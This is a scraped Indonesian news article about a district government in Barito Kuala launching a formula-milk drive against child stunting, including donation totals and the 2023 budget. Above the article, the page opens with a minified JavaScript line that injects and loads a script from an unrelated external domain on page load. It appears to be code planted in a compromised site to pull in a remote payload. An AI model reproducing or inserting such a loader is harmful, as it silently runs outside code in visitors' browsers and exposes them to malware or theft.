(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARABAHAN- Penjabat (Pj) Bupati Barito Kuala (Batola), Mujiyat, mengambil peran proaktif dalam upaya penanganan masalah stunting di daerah dengan meluncurkan Gerakan Bersama Pemberian Susu Formula untuk Anak Stunting yang dikenal dengan nama “Gebyar Suara Panting”. Acara peluncuran ini berlangsung di halaman Kantor Camat Bakumpai dan dihadiri oleh berbagai pihak, termasuk Kepala Dinas BKKBN Provinsi Kalimantan Selatan, perwakilan dari Bank Indonesia Kalsel, serta berbagai unsur masyarakat.
Dalam acara tersebut, Pj Bupati Mujiyat mengatakan tujuan kegiatan ini adalah untuk membawa perhatian dan solusi konkret terhadap masalah stunting yang masih menjadi tantangan di Kabupaten Barito Kuala.
Dengan hadirnya berbagai stakeholder dari pemerintah, organisasi wanita, perusahaan, dan masyarakat umum, diharapkan tercipta kolaborasi yang kuat dalam mengatasi masalah ini.
Sekretaris Daerah Kabupaten Barito Kuala, Ir H Zulkipli Yadi Noor, M.Sc, yang juga Ketua Tim Percepatan Penurunan Stunting (TPPS), memberikan laporan terkait data stunting saat acara peluncuran. Dia mengungkapkan bahwa Gerakan Bersama Pemberian Susu Formula untuk Anak Stunting ini merupakan tindak lanjut dari hasil Rembuk Stunting di Kabupaten Barito Kuala.
“Kami telah membuka rekening di Bank Kalsel dengan nama Peduli Stunting Barito Kuala, dan saat ini telah terkumpul sejumlah Rp 122.770.000 sebagai bentuk dukungan finansial dari berbagai pihak,” kata Zulkipli.
Baca juga: Bantu Tekan Angka Stunting, Disdik Banjar Gelar Diklat untuk Guru PAUD
Zulkipli juga mengungkapkan bahwa selain donasi dari pejabat pemerintah, seperti Pj Bupati Batola dan Sekda, juga ada partisipasi dari Kepala SKPD dan pejabat eselon lainnya. Dia juga menegaskan bahwa Pemkab Batola dengan tulus menerima dukungan donasi dari masyarakat untuk percepatan penurunan angka stunting.
Dalam laporannya, Zulkipli juga mengungkapkan alokasi anggaran sebesar Rp 109 miliar dari APBD Barito Kuala Tahun 2023 yang digunakan untuk penanganan stunting. Anggaran ini digunakan untuk berbagai intervensi, termasuk pembangunan infrastruktur air minum, pengelolaan limbah, dan layanan kesehatan, seperti Tablet Tambah Darah (TTD) untuk ibu hamil, pemberian makanan tambahan bergizi untuk balita, dan program kesehatan lainnya.
Dengan meluncurnya Gerakan Bersama Pemberian Susu Formula untuk Anak Stunting ini, diharapkan akan ada sinergi yang kuat antara pemerintah, masyarakat, dan berbagai pihak terkait dalam menjaga kesehatan dan perkembangan anak-anak untuk mengatasi masalah stunting.
Dengan kolaborasi yang baik, diharapkan Kabupaten Barito Kuala dapat menjadi contoh sukses dalam mengurangi angka stunting dan menciptakan generasi yang sehat dan tangguh..(www.kanalkalimantan.com/kk)
Reporter : kk
Editor : rdy
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More
Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More
KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More
Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More
This website uses cookies.